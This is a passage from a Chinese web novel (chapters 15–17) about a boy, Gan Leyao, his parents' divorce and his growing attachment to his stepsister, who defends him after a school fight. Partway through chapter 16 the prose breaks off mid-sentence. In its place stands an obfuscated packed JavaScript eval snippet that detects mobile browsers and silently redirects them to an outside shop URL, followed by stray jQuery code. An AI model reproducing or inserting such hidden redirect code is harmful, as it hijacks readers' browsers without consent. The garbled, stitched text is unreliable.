15
甘乐遥不太喜欢自己的名字。
因为有点娘。
小学的时候,跟他不对盘的男生会掐着嗓子喊他“遥遥”,然后被他追上最后扭打作一团。战绩是打掉过别人摇摇欲坠的乳牙,随后被班主任拎着脖子勒令打电话叫家长来赔礼道歉。
有时来的是还穿着西装的爸爸,有时来的是礼服都没来得及换的妈妈。不过统一的特点是他俩都会姗姗来迟,不管事情原委,赔礼道歉善后完领走甘乐遥一气呵成。
甘乐遥那时候就知道为什么他的父母总是忙成那样,因为爸爸妈妈都是为了变得更忙才结婚的,在这个婚姻中诞生的他是名为联姻带来的滞销品。
然后这段有名无实的婚姻很快就破裂了。
不再忙碌的爸妈决定找寻其他的东西,遗传了不错相貌给他的母亲离开之前半蹲下来摸摸他的头,没有多说什么,最后给了他一个罕见的拥抱。
而十岁的甘乐遥心想,果然他一直不太喜欢妈妈身上的香水味。
很快他迎来了不会喷刺鼻香水的继母。
一位看起来完全刻板印象里贤妻良母的新母亲,不过甘乐遥只愿意叫她阿姨。
不过同时有个附赠品——甘乐遥当时谨慎地挑选出自己认知范围内比较不冒犯的词,比起爸爸身边那群叔叔们说的小拖油瓶,这位新阿姨身后跟着的姐姐显然是一种更加容易让人接受的存在。
甘乐遥不讨厌她,甚至有些喜欢。
这种模糊的好感像吃冰棍时突然中了再来一根,又或是喝可乐时瓶盖上写着再来一瓶。
“听叔叔说,你叫乐遥。”从今往后将与他成为家人的姐姐双手撑着膝盖,弯下腰来跟她这还没进入生长期的继弟对视,“是乐逍遥的那个乐遥吗?”
“对。”甘乐遥点头,背在身后的手不自觉地绞着衣服,“听起来像女孩子才起的名字对吧,我不喜欢。”
“怎么会。”听他这么说的姐姐莞尔,漆黑的眼睛因笑变弯,“很好听的名字。”
甘乐遥别开眼,小声嘟囔:“客套话。”
才十岁的小孩子说出这种话只叫人觉得可爱,果然姐姐笑容的弧度变大些许,她笑着抬手轻轻拍了拍他的脑袋:“是真心话。”
“以后我就是小遥的姐姐了,如果你愿意跟我好好相处的话,我会很高兴的。”
拂过他发梢的手非常柔软。
那时候甘乐遥还没明白姐姐哄小孩的口吻怎么会如此熟练,对待他的态度就像经历过千百遍那般自然。
“……哦。”原本埋藏在心里的小情绪便不自觉地被消解半分,他忘记了原先想要给新家人一点小小下马威的想法,垂着头,任由名义上的姐姐抚摸他的头发,“我会的。”
他刚说完,又觉得自己表现得实在是太过乖巧,只得闷闷地补上:“你先说要跟我好好相处,我才答应的。”
“我当然知道了。”姐姐失笑,抬手伸出尾指,做出要拉钩的手势,“谢谢小遥愿意跟我好好相处。”
他伸手勾住姐姐的尾指,稍微用力地拉了拉。
姐姐的手有甘乐遥未尝从母亲那里体会过的热度,比那个带有香水味的拥抱让他喜欢。
甘乐遥低着头,盯着与姐姐拉钩的手。
最后轻轻地开口:“姐姐。”
他忽然好像没那么讨厌这个听起来很娘的名字了。
16
家人,意亲人,特指有血缘的直系亲属。
词典上是这么说的。
而与他没有血缘关系的姐姐,因为家庭的重组,就此成为他的家人。
小学里跟他不对盘的男生仍然会阴阳怪气地叫他“遥遥”,但六年级的孩子即将进入发育期,不知是不是心理上的早熟会催动生理,甘乐遥抽高的趋势比同龄的男生要更早一些。
因此打闹的胜负更快分出,战绩也从打掉同学即将更换的乳齿,变作乌黑的眼圈和红肿的鼻梁。
与之一同发生变化的,还有前来道歉的家长。
姐姐在本地念大学,甘乐遥鬼使神差地让班主任拨她的号码,他甚至无从细想自己为何能记住继姐的手机号,只是好奇她是否会来。
姐姐匆忙赶来的样子有些狼狈,低低束在脑后的马尾乱糟糟地翘着发丝,她很快就找到他所在的年级办公室,比有时候搞不清他到底读几年级的爸爸要更快。
然而她在老师和其他家长的眼里实在年轻,年轻得过于好欺负。
于是所有的指责落在甘乐遥的头上,说他不合群,说他仗着家世欺负人,说他全无家教。
这话难听得连小学生都听得明白,姐姐将他塞到自己身后,牵着他的手不断道歉,好脾气地应承她会掏该负责的所有医药费。
“该承担的我们会承担,但请您收回刚才说的话。”姐姐望着对方家长,没有让步,“小遥不是那种平白无故会霸凌其他同学的孩子,还没弄清事情的原委,您这么说话未免太过分。”
那个男孩没少惹甘乐遥,这不是他俩第一次打架。
打归打,他也是服气甘乐遥懂在学校里打闹的潜规则——甘乐遥向来会当个哑巴,不跟家长解释任何。
男孩的家长也算清楚每次甘家都愿意掏钱息事宁人的做法,因此这还是头一次吃到这么不亢不卑的软钉子。
“小姑娘,你是不知道你弟弟在学校里怎么样。”男孩的家长掰过自家儿子的脸,示意姐姐看他蒙着纱布止血的鼻梁,“小孩在家跟在外头有两幅面孔的事多了去了,你觉得他是好小孩,未必别人也觉得。”
那凄惨的证据甚至还在往外渗血,护住他的姐姐哑口无言,甘乐遥明显感觉姐姐牵着自己的手紧了紧。
“医药费我们一分不少,至少动手的原因你们该问清楚……”
姐姐听着就纤细文质的声音被不耐烦地打断:“这还用问清楚?小孩子打闹的理由千奇百怪,重点难道不是你弟弟居然下这么重的手吗!”
“真是。”对方满意地看到姐姐抿起唇,“姐弟俩都如出一辙的没礼貌。”
贴合的掌心似乎在那个瞬间失温,手掌被姐姐颤抖着攥紧。
甘乐遥拨开姐姐挡住他的身体,抬眼直勾勾地盯着男孩的父亲:“他说我有妈生没妈养。”
这句话一下子让原本几乎要吵起来的办公室变成一台被按了暂停键的收音机。
所有人都神色各异,男家长缓缓闭上了张开却骤然失语的嘴。
而甘乐遥在这片死寂之中又平静地重复了一遍。
“所以我揍他了,就这样。”
……
…………
回家的路上姐姐给他买了甜筒。
甘乐遥垂眼小口小口地舔着缓慢融化的冰淇淋,随后他抬眼,顺着被牵着的那只手,视线慢慢爬到姐姐的脸上:“姐姐。”
同样吃着冰淇淋的姐姐注意到他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593111|143239||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
视线,微微弯着腰看他:“嗯?”
“大学生下午不上课的吗。”他有些好奇。
“要上的,我有课。”听他这么问的姐姐有些局促地笑起来,“来接你就把下午的课翘了。”
末了又像想起什么,姐姐轻轻地啊了一声,赶紧跟他叮嘱似的补充道:“好孩子不要学,你可不能翘课。”
“哦。”甘乐遥点点头,他低头啃着酥脆的雪糕筒,说话的声音也变得有些含糊,“我不是故意打架的。”
小孩子思维跳得快,说话每一次都有可能是不一样的话题。
她对此适应良好,却仍然为继弟提到这个有点敏感的话题而微微一怔:“我知道。”
“我也知道你刚才其实不想说那句话。”她摇了摇牵着弟弟的左手,声音放轻,“你是因为姐姐才开口的,是吗?”
因为姐姐是第一个说不是我的错的人。
他沉默。
“谢谢你,小遥。”
而姐姐不在意他的沉默。
甘乐遥点点头,安静地咽下嘴里的华夫碎。
17
他如此在意姐姐,应该不算该被谴责的错事吧?
毕竟姐姐可是他的“家人”。
也正因为是相处了超过十二年的家人,姐姐的每个神情,每一动作,她的眼神,她的笑,她说话时任何变化的语气,他都了如指掌。
所以他知道什么时候她说的“没事”根本就是一句逞强的笑话。
姐姐今晚显然是受了不小的打击,从海边过来以后就一直神情恹恹,强颜欢笑。
这样的姐姐抵挡不住甘乐遥罕见的认真,他不带笑时意味着不好敷衍。因此甘乐遥没被糊弄打发回集训的宿舍,而是不容拒绝地先把看起来有些恍惚的姐姐送回酒店。
“姐。”他在临走之前叫住准备关门的姐姐,站在房间门外,看着她略带湿润的眼睛,扬起一个与平日无异的笑,“打起精神,你这样后天怎么上班?”
他贱嗖嗖的揶揄语气终于又逗笑了姐姐,她伸手点点他的额头,叮嘱他自己回宿舍注意安全。
甘乐遥在姐姐关上门后敛了笑意。
他不喜欢姐姐在葬礼上时那种几乎要被风吹折的脆弱模样。
她捧着百合掉着眼泪,失去家人的哀恸于她而言无疑是深刻的切肤之痛,即便厚厚的坟土底下埋着其中一位,早就在她幼时将她无情抛弃。
甘乐遥也知道他的姐姐还有个弟弟,年纪和他一样。
但不同的是,那个东西是跟姐姐有血缘的,在世俗意义上被默认的,真正的弟弟。
开什么玩笑。
这对甘乐遥而言简直荒谬,他无法认同就因为体内那点虚无缥缈的破血,有个人便能够无论何时都算作姐姐的家人,哪怕他消失在她生命里的时间超过十年。
就那种不知道在闹什么别扭连葬礼都不来的家伙?
就那种被姐姐连脸都忘掉的家伙?
就、那、种,连报上名来都不敢,不知道出于什么原因把姐姐耍得团团转的家伙?
当局者迷旁观者清,姐姐一定不知道她和她的血缘弟弟在长相上有相似之处。
只不过姐姐常年都是垂着眼角、柔和地微笑,而那小子则是一脸全世界都欠了他的阴沉模样。
还撒了个无聊的弥天大谎……
甘乐遥撑着脸望向景色快速倒后的车窗外,轻蔑地冷笑一声。